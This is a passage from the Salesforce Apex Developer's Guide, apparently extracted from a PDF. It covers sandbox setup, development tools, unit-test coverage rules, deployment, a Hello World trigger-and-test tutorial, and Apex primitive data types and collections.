If you have reduced the number of sandboxes you purchased, but you still have more sandboxes of a specific type than
allowed, you will be required to match your sandboxes to the number of sandboxes that you purchased. For example, if
you have two Full sandboxes but purchased only one, you cannot refresh your Full sandbox as a Full sandbox. Instead, you
must choose one Full sandbox to convert to a smaller sandbox, such as a Developer Pro or a Developer sandbox, depending
on which types you have available.
5. Select the data you want to include in your sandbox (you have this option for a Partial Data or Full sandbox).
For a Partial Data sandbox, select the template you created to specify the data for your sandbox. If you have not created a
template for this Partial Data sandbox, see “Creating Sandbox Templates” in the Salesforce Help.
For a Full sandbox, choose how much object history, case history, and opportunity history to copy, and whether or not to
copy Chatter data. Object history is the field history tracking of custom and most standard objects; case history and
opportunity history serve the same purpose for cases and opportunities. You can copy from 0 to 180 days of history, in
30–day increments. The default value is 0 days. Chatter data includes feeds, messages, and discovery topics. Decreasing
the amount of data you copy can significantly speed up sandbox copy time.
You can choose to include Template-based data for a Full sandbox. For this option, you need to have already created a
sandbox template. Then you can pick the template from a list of templates you’ve created. For more information, see
“Creating Sandbox Templates” in the Salesforce Help.

14
Apex Development Process

Learning Apex

6. Click Create.
The process may take several minutes, hours, or even days, depending on the size and type of your organization.
Tip: Try to limit changes in your production organization while the sandbox copy proceeds.

Learning Apex
After you have your developer account, there are many resources available to you for learning about Apex:
Force.com Workbook: Get Started Building Your First App in the Cloud
Beginning programmers
A set of ten 30-minute tutorials that introduce various Force.com platform features. The Force.com Workbook tutorials
are centered around building a very simple warehouse management system. You'll start developing the application from
the bottom up; that is, you'll first build a database model for keeping track of merchandise. You'll continue by adding
business logic: validation rules to ensure that there is enough stock, workflow to update inventory when something is
sold, approvals to send email notifications for large invoice values, and trigger logic to update the prices in open invoices.
Once the database and business logic are complete, you'll create a user interface to display a product inventory to staff,
a public website to display a product catalog, and then the start of a simple store front. If you'd like to develop offline
and integrate with the app, we've added a final tutorial to use Adobe Flash Builder for Force.com.
Force.com Workbook: HTML | PDF
Apex Workbook
Beginning programmers
The Apex Workbook introduces you to the Apex programming language through a set of tutorials. You’ll learn the
fundamentals of Apex and how you can use it on the Force.com platform to add custom business logic through triggers,
unit tests, scheduled Apex, batch Apex, REST Web services, and Visualforce controllers.
Apex Workbook: HTML | PDF
Developer Force Apex Page
Beginning and advanced programmers
The Apex page on Developer Force has links to several resources including articles about the Apex programming language.
These resources provide a quick introduction to Apex and include best practices for Apex development.
Force.com Cookbook
Beginning and advanced programmers
This collaborative site provides many recipes for using the Web services API, developing Apex code, and creating
Visualforce pages. The Force.com Cookbook helps developers become familiar with common Force.com programming
techniques and best practices. You can read and comment on existing recipes, or submit your own recipes, at
developer.force.com/cookbook.
Development Life Cycle: Enterprise Development on the Force.com Platform
Architects and advanced programmers
Whether you are an architect, administrator, developer, or manager, the Development Life Cycle Guide prepares you to
undertake the development and release of complex applications on the Force.com platform.

15
Apex Development Process

Writing Apex Using Development Environments

Training Courses
Training classes are also available from salesforce.com Training & Certification. You can find a complete list of courses
at the Training & Certification site.
In This Book (Apex Developer's Guide)
Beginning programmers should look at the following:
• Introducing Apex, and in particular:
◊ Documentation Conventions
◊ Core Concepts
◊ Quick Start Tutorial
•
•
•

Classes, Objects, and Interfaces
Testing Apex
Understanding Execution Governors and Limits

In addition to the above, advanced programmers should look at:
• Trigger and Bulk Request Best Practices
• Advanced Apex Programming Example
• Understanding Apex Describe Information
• Asynchronous Execution (@future Annotation)
• Batch Apex and Apex Scheduler

Writing Apex Using Development Environments
There are several development environments for developing Apex code. The Force.com Developer Console and the Force.com
IDE allow you to write, test, and debug your Apex code. The code editor in the user interface enables only writing code and
doesn’t support debugging. These different tools are described in the next sections.

Force.com Developer Console
The Developer Console is an integrated development environment with a collection of tools you can use to create, debug, and
test applications in your Salesforce organization.
To open the Developer Console in Salesforce user interface, click Your name > Developer Console.
The Developer Console supports these tasks:
•
•
•
•
•
•
•

Writing code—You can add code using the source code editor. Also, you can browse packages in your organization.
Compiling code—When you save a trigger or class, the code is automatically compiled. Any compilation errors will be
reported.
Debugging—You can view debug logs and set checkpoints that aid in debugging.
Testing—You can execute tests of specific test classes or all tests in your organization, and you can view test results. Also,
you can inspect code coverage.
Checking performance—You can inspect debug logs to locate performance bottlenecks.
SOQL queries—You can query data in your organization and view the results using the Query Editor.
Color coding and autocomplete—The source code editor uses a color scheme for easier readability of code elements and
provides autocompletion for class and method names.

16
Apex Development Process

Writing Tests

Force.com IDE
The Force.com IDE is a plug-in for the Eclipse IDE. The Force.com IDE provides a unified interface for building and
deploying Force.com applications. Designed for developers and development teams, the IDE provides tools to accelerate
Force.com application development, including source code editors, test execution tools, wizards and integrated help. This tool
includes basic color-coding, outline view, integrated unit testing, and auto-compilation on save with error message display.
See the website for information about installation and usage.
Note: The Force.com IDE is a free resource provided by salesforce.com to support its users and partners but isn't
considered part of our services for purposes of the salesforce.com Master Subscription Agreement.
Tip: If you want to extend the Eclipse plug-in or develop an Apex IDE of your own, the SOAP API includes methods
for compiling triggers and classes, and executing test methods, while the Metadata API includes methods for deploying
code to production environments. For more information, see Deploying Apex on page 376 and SOAP API and SOAP
Headers for Apex on page 1330.

Code Editor in the Salesforce User Interface
The Salesforce user interface. All classes and triggers are compiled when they are saved, and any syntax errors are flagged. You
cannot save your code until it compiles without errors. The Salesforce user interface also numbers the lines in the code, and
uses color coding to distinguish different elements, such as comments, keywords, literal strings, and so on.
•
•
•

For a trigger on a standard object, from Setup, click Customize, click the name of the object, and click Triggers. In the
Triggers detail page, click New, and then enter your code in the Body text box.
For a trigger on a custom object, from Setup, click Develop > Objects, and click the name of the object. In the Triggers
related list, click New, and then enter your code in the Body text box.
For a class, from Setup, click Develop > Apex Classes. Click New, and then enter your code in the Body text box.
Note: You cannot make changes to Apex using the Salesforce user interface in a Salesforce production organization.

Alternatively, you can use any text editor, such as Notepad, to write Apex code. Then either copy and paste the code into your
application, or use one of the API calls to deploy it.

Writing Tests
Testing is the key to successful long-term development and is a critical component of the development process. We strongly
recommend that you use a test-driven development process, that is, test development that occurs at the same time as code
development.
To facilitate the development of robust, error-free code, Apex supports the creation and execution of unit tests. Unit tests are
class methods that verify whether a particular piece of code is working properly. Unit test methods take no arguments, commit
no data to the database, send no emails, and are flagged with the testMethod keyword or the isTest annotation in the
method definition. Also, test methods must be defined in test classes, that is, classes annotated with isTest.
In addition, before you deploy Apex or package it for the Force.com AppExchange, the following must be true.
•

At least 75% of your Apex code must be covered by unit tests, and all of those tests must complete successfully.
Note the following.
◊ When deploying to a production organization, every unit test in your organization namespace is executed.
◊ Calls to System.debug are not counted as part of Apex code coverage.
◊ Test methods and test classes are not counted as part of Apex code coverage.

17
Apex Development Process

Deploying Apex to a Sandbox Organization

◊ While only 75% of your Apex code must be covered by tests, your focus shouldn't be on the percentage of code that is
covered. Instead, you should make sure that every use case of your application is covered, including positive and negative
cases, as well as bulk and single records. This should lead to 75% or more of your code being covered by unit tests.
•
•

Every trigger must have some test coverage.
All classes and triggers must compile successfully.

For more information on writing tests, see Testing Apex on page 354.

Deploying Apex to a Sandbox Organization
Salesforce gives you the ability to create multiple copies of your organization in separate environments for a variety of purposes,
such as testing and training, without compromising the data and applications in your Salesforce production organization.
These copies are called sandboxes and are nearly identical to your Salesforce production organization. Sandboxes are completely
isolated from your Salesforce production organization, so operations you perform in your sandboxes do not affect your Salesforce
production organization, and vice versa.
To deploy Apex from a local project in the Force.com IDE to a Salesforce organization, use the Force.com Component
Deployment Wizard. For more information about the Force.com IDE, see
http://wiki.developerforce.com/index.php/Force.com_IDE.
You can also use the deploy() Metadata API call to deploy your Apex from a developer organization to a sandbox organization.
A useful API call is runTests(). In a development or sandbox organization, you can run the unit tests for a specific class, a
list of classes, or a namespace.
Salesforce includes a Force.com Migration Tool that allows you to issue these commands in a console window, or your can
implement your own deployment code.
Note: The Force.com IDE and the Force.com Migration Tool are free resources provided by salesforce.com to
support its users and partners, but aren't considered part of our services for purposes of the salesforce.com Master
Subscription Agreement.
For more information, see Using the Force.com Migration Tool and Deploying Apex.

Deploying Apex to a Salesforce Production Organization
After you have finished all of your unit tests and verified that your Apex code is executing properly, the final step is deploying
Apex to your Salesforce production organization.
To deploy Apex from a local project in the Force.com IDE to a Salesforce organization, use the Force.com Component
Deployment Wizard. For more information about the Force.com IDE, see
http://wiki.developerforce.com/index.php/Force.com_IDE.
Also, you can deploy Apex through change sets in the Salesforce user interface.
For more information and for additional deployment options, see Deploying Apex on page 376.

Adding Apex Code to a Force.com AppExchange App
You can also include an Apex class or trigger in an app that you are creating for AppExchange.
Any Apex that is included as part of a package must have at least 75% cumulative test coverage. Each trigger must also have
some test coverage. When you upload your package to AppExchange, all tests are run to ensure that they run without errors.
In addition, tests with the@isTest(OnInstall=true) annotation run when the package is installed in the installer's

18
Apex Development Process

Adding Apex Code to a Force.com AppExchange App

organization. You can specify which tests should run during package install by annotating them with
@isTest(OnInstall=true). This subset of tests must pass for the package install to succeed.
In addition, salesforce.com recommends that any AppExchange package that contains Apex be a managed package.
For more information, see the Force.com Quick Reference for Developing Packages. For more information about Apex in managed
packages, see “What is a Package?” in the Salesforce online help.
Note: Packaging Apex classes that contain references to custom labels which have translations: To include the
translations in the package, enable the Translation Workbench and explicitly package the individual languages used
in the translated custom labels. See “Custom Labels Overview” in the Salesforce online help.

19
Chapter 3
Apex Quick Start
Once you have a Developer Edition or sandbox organization, you may want to learn some of the core concepts of Apex.
Because Apex is very similar to Java, you may recognize much of the functionality.
After reviewing the basics, you are ready to write your first Apex program—a very simple class, trigger, and unit test.
In addition, there is a more complex shipping invoice example that you can also walk through. This example illustrates many
more features of the language.
Note: The Hello World and the shipping invoice samples require custom fields and objects. You can either create
these on your own, or download the objects, fields and Apex code as a managed packaged from Force.com
AppExchange. For more information, see wiki.developerforce.com/index.php/Documentation.

Writing Your First Apex Class and Trigger
This step-by-step tutorial shows how to create a simple Apex class and trigger. It also shows how to deploy these components
to a production organization.
This tutorial is based on a custom object called Book that is created in the first step. This custom object is updated through
a trigger.
Adding an Apex Class
Adding an Apex Trigger
Adding a Test Class
Deploying Components to Production

Creating a Custom Object
Prerequisites:
A Salesforce account in a sandbox Performance, Unlimited, or Enterprise Edition organization, or an account in a Developer
organization.
For more information about creating a sandbox organization, see “Sandbox Overview” in the Salesforce online help. To sign
up for a free Developer organization, see the Developer Edition Environment Sign Up Page.
In this step, you create a custom object called Book with one custom field called Price.
1.
2.
3.
4.
5.

Log into your sandbox or Developer organization.
From Setup, click Create > Objects and click New Custom Object.
Enter Book for the label.
Enter Books for the plural label.
Click Save.
20
Apex Quick Start

Adding an Apex Class

Ta dah! You've now created your first custom object. Now let's create a custom field.
6. In the Custom Fields & Relationships section of the Book detail page, click New.
7. Select Number for the data type and click Next.
8. Enter Price for the field label.
9. Enter 16 in the length text box.
10. Enter 2 in the decimal places text box, and click Next.
11. Click Next to accept the default values for field-level security.
12. Click Save.
You’ve just created a custom object called Book, and added a custom field to that custom object. Custom objects already have
some standard fields, like Name and CreatedBy, and allow you to add other fields that are more specific to your implementation.
For this tutorial, the Price field is part of our Book object and it is accessed by the Apex class you will write in the next step.

Adding an Apex Class
Prerequisites:
•
•

A Salesforce account in a sandbox Performance, Unlimited, or Enterprise Edition organization, or an account in a
Developer organization.
The Book custom object.

In this step, you add an Apex class that contains a method for updating the book price. This method is called by the trigger
that you will be adding in the next step.
1. From Setup, click Develop > Apex Classes and click New.
2. In the class editor, enter this class definition:
public class MyHelloWorld {
}

The previous code is the class definition to which you will be adding one method in the next step. Apex code is generally
contained in classes. This class is defined as public, which means the class is available to other Apex classes and triggers.
For more information, see Classes, Objects, and Interfaces on page 54.
3. Add this method definition between the class opening and closing brackets.
public static void applyDiscount(Book__c[] books) {
for (Book__c b :books){
b.Price__c *= 0.9;
}
}

This method is called applyDiscount, and it is both public and static. Because it is a static method, you don't need to
create an instance of the class to access the method—you can just use the name of the class followed by a dot (.) and the
name of the method. For more information, see Static and Instance on page 61.
This method takes one parameter, a list of Book records, which is assigned to the variable books. Notice the __c in the
object name Book__c. This indicates that it is a custom object that you created. Standard objects that are provided in the
Salesforce application, such as Account, don't end with this postfix.
The next section of code contains the rest of the method definition:
for (Book__c b :books){
b.Price__c *= 0.9;
}

21
Apex Quick Start

Adding an Apex Trigger

Notice the __c after the field name Price__c. This indicates it is a custom field that you created. Standard fields that are
provided by default in Salesforce are accessed using the same type of dot notation but without the __c, for example, Name
doesn't end with __c in Book__c.Name. The statement b.Price__c *= 0.9; takes the old value of b.Price__c,
multiplies it by 0.9, which means its value will be discounted by 10%, and then stores the new value into the b.Price__c
field. The *= operator is a shortcut. Another way to write this statement is b.Price__c = b.Price__c * 0.9;. See
Understanding Expression Operators on page 39.
4. Click Save to save the new class. You should now have this full class definition.
public class MyHelloWorld {
public static void applyDiscount(Book__c[] books) {
for (Book__c b :books){
b.Price__c *= 0.9;
}
}
}

You now have a class that contains some code that iterates over a list of books and updates the Price field for each book. This
code is part of the applyDiscount static method called by the trigger that you will create in the next step.

Adding an Apex Trigger
Prerequisites:
•
•

A Salesforce account in a sandbox Performance, Unlimited, or Enterprise Edition organization, or an account in a
Developer organization.
The MyHelloWorld Apex class.

In this step, you create a trigger for the Book__c custom object that calls the applyDiscount method of the MyHelloWorld
class that you created in the previous step.
A trigger is a piece of code that executes before or after records of a particular type are inserted, updated, or deleted from the
Force.com platform database. Every trigger runs with a set of context variables that provide access to the records that caused
the trigger to fire. All triggers run in bulk; that is, they process several records at once.
1. From Setup, click Create > Objects and click the name of the object you just created, Book.
2. In the triggers section, click New.
3. In the trigger editor, delete the default template code and enter this trigger definition:
trigger HelloWorldTrigger on Book__c (before insert) {
Book__c[] books = Trigger.new;
MyHelloWorld.applyDiscount(books);
}

The first line of code defines the trigger:
trigger HelloWorldTrigger on Book__c (before insert) {

It gives the trigger a name, specifies the object on which it operates, and defines the events that cause it to fire. For example,
this trigger is called HelloWorldTrigger, it operates on the Book__c object, and runs before new books are inserted into
the database.
The next line in the trigger creates a list of book records named books and assigns it the contents of a trigger context
variable called Trigger.new. Trigger context variables such as Trigger.new are implicitly defined in all triggers and

22
Apex Quick Start

Adding a Test Class

provide access to the records that caused the trigger to fire. In this case, Trigger.new contains all the new books that
are about to be inserted.
Book__c[] books = Trigger.new;

The next line in the code calls the method applyDiscount in the MyHelloWorld class. It passes in the array of new
books.
MyHelloWorld.applyDiscount(books);

You now have all the code that is needed to update the price of all books that get inserted. However, there is still one piece
of the puzzle missing. Unit tests are an important part of writing code and are required. In the next step, you will see why this
is so and you will be able to add a test class.

Adding a Test Class
Prerequisites:
•
•

A Salesforce account in a sandbox Performance, Unlimited, or Enterprise Edition organization, or an account in a
Developer organization.
The HelloWorldTrigger Apex trigger.

In this step, you add a test class with one test method. You also run the test and verify code coverage. The test method exercises
and validates the code in the trigger and class. Also, it enables you to reach 100% code coverage for the trigger and class.
Note: Testing is an important part of the development process. Before you can deploy Apex or package it for the
Force.com AppExchange, the following must be true.
•

At least 75% of your Apex code must be covered by unit tests, and all of those tests must complete successfully.
Note the following.
◊
◊
◊
◊

•
•

When deploying to a production organization, every unit test in your organization namespace is executed.
Calls to System.debug are not counted as part of Apex code coverage.
Test methods and test classes are not counted as part of Apex code coverage.
While only 75% of your Apex code must be covered by tests, your focus shouldn't be on the percentage of
code that is covered. Instead, you should make sure that every use case of your application is covered, including
positive and negative cases, as well as bulk and single records. This should lead to 75% or more of your code
being covered by unit tests.

Every trigger must have some test coverage.
All classes and triggers must compile successfully.

1. From Setup, click Develop > Apex Classes and click New.
2. In the class editor, add this test class definition, and then click Save.
@isTest
private class HelloWorldTestClass {
static testMethod void validateHelloWorld() {
Book__c b = new Book__c(Name='Behind the Cloud', Price__c=100);
System.debug('Price before inserting new book: ' + b.Price__c);
// Insert book
insert b;
// Retrieve the new book
b = [SELECT Price__c FROM Book__c WHERE Id =:b.Id];

23
Apex Quick Start

Adding a Test Class

System.debug('Price after trigger fired: ' + b.Price__c);
// Test that the trigger correctly updated the price
System.assertEquals(90, b.Price__c);
}
}

This class is defined using the @isTest annotation. Classes defined as such can only contain test methods. One advantage
to creating a separate class for testing is that classes defined with isTest don't count against your organization limit of 3
MB for all Apex code. You can also add the @isTest annotation to individual methods. For more information, see IsTest
Annotation on page 80 and Understanding Execution Governors and Limits.
The method validateHelloWorld is defined as a testMethod. This means that if any changes are made to the
database, they are automatically rolled back when execution completes and you don't have to delete any test data created
in the test method.
First the test method creates a new book and inserts it into the database temporarily. The System.debug statement writes
the value of the price in the debug log.
Book__c b = new Book__c(Name='Behind the Cloud', Price__c=100);
System.debug('Price before inserting new book: ' + b.Price__c);
// Insert book
insert b;

Once the book is inserted, the code retrieves the newly inserted book, using the ID that was initially assigned to the book
when it was inserted, and then logs the new price that the trigger modified:
// Retrieve the new book
b = [SELECT Price__c FROM Book__c WHERE Id =:b.Id];
System.debug('Price after trigger fired: ' + b.Price__c);

When the MyHelloWorld class runs, it updates the Price__c field and reduces its value by 10%. The following line is
the actual test, verifying that the method applyDiscount actually ran and produced the expected result:
// Test that the trigger correctly updated the price
System.assertEquals(90, b.Price__c);

3. Now let’s switch to the Developer Console to run this test and view code coverage information. Click Your Name >
Developer Console.
The Developer Console window opens.
4. In the Developer Console, click Test > New Run.
5. To add your test class, click HelloWorldTestClass, and then click >.
6. To run the test, click Run.
The test result displays in the Tests tab. Optionally, you can expand the test class in the Tests tab to view which methods
were run. In this case, the class contains only one test method.
7. The Overall Code Coverage pane shows the code coverage of this test class. To view the lines of code in the trigger covered
by this test, which is 100%, double-click the code coverage line for HelloWorldTrigger. Also, because the trigger calls a
method from the MyHelloWorld class, this class has some coverage too (100%). To view the class coverage, double-click
MyHelloWorld.
8. To open the log file, in the Logs tab, double-click the most recent log line in the list of logs. The execution log displays,
including logging information about the trigger event, the call to the applyDiscount class method, and the debug output
of the price before and after the trigger.
By now, you have completed all the steps necessary for writing some Apex code with a test that runs in your development
environment. In the real world, after you’ve sufficiently tested your code and you’re satisfied with it, you want to deploy the
24
Apex Quick Start

Deploying Components to Production

code along with any other prerequisite components to a production organization. The next step will show you how to do this
for the code and custom object you’ve just created.

Deploying Components to Production
Prerequisites:
•
•
•
•

A Salesforce account in a sandbox Performance, Unlimited, or Enterprise Edition organization.
The HelloWorldTestClass Apex test class.
A deployment connection between the sandbox and production organizations that allows inbound change sets to be received
by the production organization. See “Change Sets Overview” in the Salesforce online help.
Create and Upload Change Sets user permissions to create, edit, or upload outbound change sets.

In this step, you deploy the Apex code and the custom object you created previously to your production organization using
change sets.
This procedure doesn't apply to Developer organizations since change sets are available only in Performance, Unlimited,
Enterprise, or Database.com Edition organizations. If you have a Developer Edition account, you can use other deployment
methods. For more information, see Deploying Apex.
1.
2.
3.
4.
5.
6.

From Setup, click Deploy > Outbound Changesets.
If a splash page appears, click Continue.
In the Change Sets list, click New.
Enter a name for your change set, for example, HelloWorldChangeSet, and optionally a description. Click Save.
In the Change Set Components section, click Add.
Select Apex Class from the component type drop-down list, then select the MyHelloWorld and the HelloWorldTestClass
classes from the list and click Add to Change Set.
7. Click View/Add Dependencies to add the dependent components.
8. Select the top checkbox to select all components. Click Add To Change Set.
9. In the Change Set Detail section of the change set page, click Upload.
10. Select the target organization, in this case production, and click Upload.
11. After the change set upload completes, deploy it in your production organization.
a.
b.
c.
d.
e.

Log into your production organization.
From Setup, click Deploy > Inbound Change Sets.
If a splash page appears, click Continue.
In the change sets awaiting deployment list, click your change set's name.
Click Deploy.

In this tutorial, you learned how to create a custom object, how to add an Apex trigger, class, and test class. Finally, you also
learned how to test your code, and how to upload the code and the custom object using Change Sets.

25
WRITING APEX

Chapter 4
Data Types and Variables
In this chapter ...
•
•
•
•
•
•
•
•
•

Data Types
Primitive Data Types
Collections
Enums
Variables
Constants
Expressions and Operators
Assignment Statements
Understanding Rules of Conversion

In this chapter you’ll learn about data types and variables in Apex. You’ll also
learn about related language constructs—enums, constants, expressions,
operators, and assignment statements.

26
Data Types and Variables

Data Types

Data Types
In Apex, all variables and expressions have a data type that is one of the following:
•
•
•

A primitive, such as an Integer, Double, Long, Date, Datetime, String, ID, or Boolean (see Primitive Data Types on page
27)
An sObject, either as a generic sObject or as a specific sObject, such as an Account, Contact, or MyCustomObject__c
(see sObject Types on page 99 in Chapter 4.)
A collection, including:
◊ A list (or array) of primitives, sObjects, user defined objects, objects created from Apex classes, or collections (see Lists
on page 30)
◊ A set of primitives (see Sets on page 32)
◊ A map from a primitive to a primitive, sObject, or collection (see Maps on page 33)

•
•
•
•

A typed list of values, also known as an enum (see Enums on page 34)
Objects created from user-defined Apex classes (see Classes, Objects, and Interfaces on page 54)
Objects created from system supplied Apex classes
Null (for the null constant, which can be assigned to any variable)

Methods can return values of any of the listed types, or return no value and be of type Void.
Type checking is strictly enforced at compile time. For example, the parser generates an error if an object field of type Integer
is assigned a value of type String. However, all compile-time exceptions are returned as specific fault codes, with the line
number and column of the error. For more information, see Debugging Apex on page 328.

Primitive Data Types
Apex uses the same primitive data types as the SOAP API. All primitive data types are passed by value.
All Apex variables, whether they’re class member variables or method variables, are initialized to null. Make sure that you
initialize your variables to appropriate values before using them. For example, initialize a Boolean variable to false.
Apex primitive data types include:
Data Type

Description

Blob

A collection of binary data stored as a single object. You can convert this datatype to String
or from String using the toString and valueOf methods, respectively. Blobs can be accepted
as Web service arguments, stored in a document (the body of a document is a Blob), or sent
as attachments. For more information, see Crypto Class.

Boolean

A value that can only be assigned true, false, or null. For example:
Boolean isWinner = true;

Date

A value that indicates a particular day. Unlike Datetime values, Date values contain no
information about time. Date values must always be created with a system static method.
You cannot manipulate a Date value, such as add days, merely by adding a number to a Date
variable. You must use the Date methods instead.

27
Data Types and Variables

Primitive Data Types

Data Type

Description

Datetime

A value that indicates a particular day and time, such as a timestamp. Datetime values must
always be created with a system static method.
You cannot manipulate a Datetime value, such as add minutes, merely by adding a number
to a Datetime variable. You must use the Datetime methods instead.

Decimal

A number that includes a decimal point. Decimal is an arbitrary precision number. Currency
fields are automatically assigned the type Decimal.
If you do not explicitly set the scale, that is, the number of decimal places, for a Decimal using
the setScale method, the scale is determined by the item from which the Decimal is created.
•
•
•

Double

If the Decimal is created as part of a query, the scale is based on the scale of the field
returned from the query.
If the Decimal is created from a String, the scale is the number of characters after the
decimal point of the String.
If the Decimal is created from a non-decimal number, the scale is determined by converting
the number to a String and then using the number of characters after the decimal point.

A 64-bit number that includes a decimal point. Doubles have a minimum value of -263 and
a maximum value of 263-1. For example:
Double d=3.14159;

Note that scientific notation (e) for Doubles is not supported.
ID

Any valid 18-character Force.com record identifier. For example:
ID id='00300000003T2PGAA0';

Note that if you set ID to a 15-character value, Apex automatically converts the value to its
18-character representation. All invalid ID values are rejected with a runtime exception.
Integer

A 32-bit number that does not include a decimal point. Integers have a minimum value of
-2,147,483,648 and a maximum value of 2,147,483,647. For example:
Integer i = 1;

Long

A 64-bit number that does not include a decimal point. Longs have a minimum value of -263
and a maximum value of 263-1. Use this datatype when you need a range of values wider than
those provided by Integer. For example:
Long l = 2147483648L;

String

Any set of characters surrounded by single quotes. For example,
String s = 'The quick brown fox jumped over the lazy dog.';

String size: Strings have no limit on the number of characters they can include. Instead, the
heap size limit is used to ensure that your Apex programs don't grow too large.

28
Data Types and Variables

Data Type

Primitive Data Types

Description
Empty Strings and Trailing Whitespace: sObject String field values follow the same rules
as in the SOAP API: they can never be empty (only null), and they can never include leading
and trailing whitespace. These conventions are necessary for database storage.
Conversely, Strings in Apex can be null or empty, and can include leading and trailing
whitespace (such as might be used to construct a message).
The Solution sObject field SolutionNote operates as a special type of String. If you have
HTML Solutions enabled, any HTML tags used in this field are verified before the object
is created or updated. If invalid HTML is entered, an error is thrown. Any JavaScript used
in this field is removed before the object is created or updated. In the following example,
when the Solution displays on a detail page, the SolutionNote field has H1 HTML formatting
applied to it:
trigger t on Solution (before insert) {
Trigger.new[0].SolutionNote ='<h1>hello</h1>';
}

In the following example, when the Solution displays on a detail page, the SolutionNote field
only contains HelloGoodbye:
trigger t2 on Solution (before insert) {
Trigger.new[0].SolutionNote =
'<javascript>Hello</javascript>Goodbye';
}

For more information, see “HTML Solutions Overview” in the Salesforce online help.
Escape Sequences: All Strings in Apex use the same escape sequences as SOQL strings: b
(backspace), t (tab), n (line feed), f (form feed), r (carriage return), " (double quote),
' (single quote), and  (backslash).
Comparison Operators: Unlike Java, Apex Strings support use of the comparison operators
==, !=, <, <=, >, and >=. Since Apex uses SOQL comparison semantics, results for Strings
are collated according to the context user's locale, and `are not case sensitive. For more
information, see Operators on page 39.
String Methods: As in Java, Strings can be manipulated with a number of standard methods.
See String Class for information.
Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a
runtime error if you assign a String value that is too long for the field.
Time

A value that indicates a particular time. Time values must always be created with a system
static method. See Time Class.

In addition, two non-standard primitive data types cannot be used as variable or method types, but do appear in system static
methods:
•
•

AnyType. The valueOf static method converts an sObject field of type AnyType to a standard primitive. AnyType is
used within the Force.com platform database exclusively for sObject fields in field history tracking tables.
Currency. The Currency.newInstance static method creates a literal of type Currency. This method is for use solely
within SOQL and SOSL WHERE clauses to filter against sObject currency fields. You cannot instantiate Currency in any
other type of Apex.

29
Data Types and Variables

Collections

For more information on the AnyType data type, see Field Types in the Object Reference for Salesforce and Force.com.

Collections
Apex has the following types of collections:
•
•
•

Lists
Maps
Sets
Note: There is no limit on the number of items a collection can hold. However, there is a general limit on heap size.

Lists
A list is an ordered collection of elements that are distinguished by their indices. List elements can be of any data type—primitive
types, collections, sObjects, user-defined types, and built-in Apex types. For example, the following table is a visual representation
of a list of Strings:
Index 0

Index 1

Index 2

Index 3

Index 4

Index 5

'Red'

'Orange'

'Yellow'

'Green'

'Blue'

'Purple'

The index position of the first element in a list is always 0.
Lists can contain any collection and can be nested within one another and become multidimensional. For example, you can
have a list of lists of sets of Integers. A list can contain up to four levels of nested collections inside it, that is, a total of five
levels overall.
To declare a list, use the List keyword followed by the primitive data, sObject, nested list, map, or set type within <> characters.
For example:
// Create an empty list of String
List<String> my_list = new List<String>();
// Create a nested list
List<List<Set<Integer>>> my_list_2 = new List<List<Set<Integer>>>();

To access elements in a list, use the List methods provided by Apex. For example:
List<Integer> myList = new List<Integer>(); // Define a new list
myList.add(47);
// Adds a second element of value 47 to the end
// of the list
Integer i = myList.get(0);
// Retrieves the element at index 0
myList.set(0, 1);
// Adds the integer 1 to the list at index 0
myList.clear();
// Removes all elements from the list

For more information, including a complete list of all supported methods, see List Class on page 1055.

30
Data Types and Variables

Lists

Using Array Notation for One-Dimensional Lists
When using one-dimensional lists of primitives or objects, you can also use more traditional array notation to declare and
reference list elements. For example, you can declare a one-dimensional list of primitives or objects by following the data type
name with the [] characters:
String[] colors = new List<String>();

These two statements are equivalent to the previous:
List<String> colors = new String[1];
String[] colors = new String[1];

To reference an element of a one-dimensional list, you can also follow the name of the list with the element's index position
in square brackets. For example:
colors[0] = 'Green';

Even though the size of the previous String array is defined as one element (the number between the brackets in new
String[1]), lists are elastic and can grow as needed provided that you use the List add method to add new elements. For
example, you can add two or more elements to the colors list. But if you’re using square brackets to add an element to a list,
the list behaves like an array and isn’t elastic, that is, you won’t be allowed to add more elements than the declared array size.
All lists are initialized to null. Lists can be assigned values and allocated memory using literal notation. For example:
Example

Description

List<Integer> ints = new Integer[0];

Defines an Integer list of size zero with no elements

List<Integer> ints = new Integer[6];

Defines an Integer list with memory allocated for six Integers

List Sorting
You can sort list elements and the sort order depends on the data type of the elements.
Using the List.sort method, you can sort elements in a list. Sorting is in ascending order for elements of primitive data
types, such as strings. The sort order of other more complex data types is described in the chapters covering those data types.
This example shows how to sort a list of strings and verifies that the colors are in ascending order in the list.
List<String> colors = new List<String>{
'Yellow',
'Red',
'Green'};
colors.sort();
System.assertEquals('Green', colors.get(0));
System.assertEquals('Red', colors.get(1));
System.assertEquals('Yellow', colors.get(2));

For the Visualforce SelectOption control, sorting is in ascending order based on the value and label fields. See this next section
for the sequence of comparison steps used for SelectOption.

31
Data Types and Variables

Sets

Default Sort Order for SelectOption
The List.sort method sorts SelectOption elements in ascending order using the value and label fields, and is based on this
comparison sequence.
1. The value field is used for sorting first.
2. If two value fields have the same value or are both empty, the label field is used.
Note that the disabled field is not used for sorting.
For text fields, the sort algorithm uses the Unicode sort order. Also, empty fields precede non-empty fields in the sort order.
In this example, a list contains three SelectOption elements. Two elements, United States and Mexico, have the same value
field (‘A’). The List.sort method sorts these two elements based on the label field, and places Mexico before United States,
as shown in the output. The last element in the sorted list is Canada and is sorted on its value field ‘C’, which comes after ‘A’.
List<SelectOption> options = new List<SelectOption>();
options.add(new SelectOption('A','United States'));
options.add(new SelectOption('C','Canada'));
options.add(new SelectOption('A','Mexico'));
System.debug('Before sorting: ' + options);
options.sort();
System.debug('After sorting: ' + options);

This is the output of the debug statements. It shows the list contents before and after the sort.
DEBUG|Before sorting: (System.SelectOption[value="A", label="United States",
disabled="false"],
System.SelectOption[value="C", label="Canada", disabled="false"],
System.SelectOption[value="A", label="Mexico", disabled="false"])
DEBUG|After sorting: (System.SelectOption[value="A", label="Mexico", disabled="false"],
System.SelectOption[value="A", label="United States", disabled="false"],
System.SelectOption[value="C", label="Canada", disabled="false"])

Sets
A set is an unordered collection of elements that do not contain any duplicates. Set elements can be of any data type—primitive
types, collections, sObjects, user-defined types, and built-in Apex types. For example, the following table represents a set of
strings, that uses city names:
'San Francisco'

'New York'

'Paris'

'Tokyo'

Sets can contain collections that can be nested within one another. For example, you can have a set of lists of sets of Integers.
A set can contain up to four levels of nested collections inside it, that is, up to five levels overall.
To declare a set, use the Set keyword followed by the primitive data type name within <> characters. For example:
new Set<String>()

The following are ways to declare and populate a set:
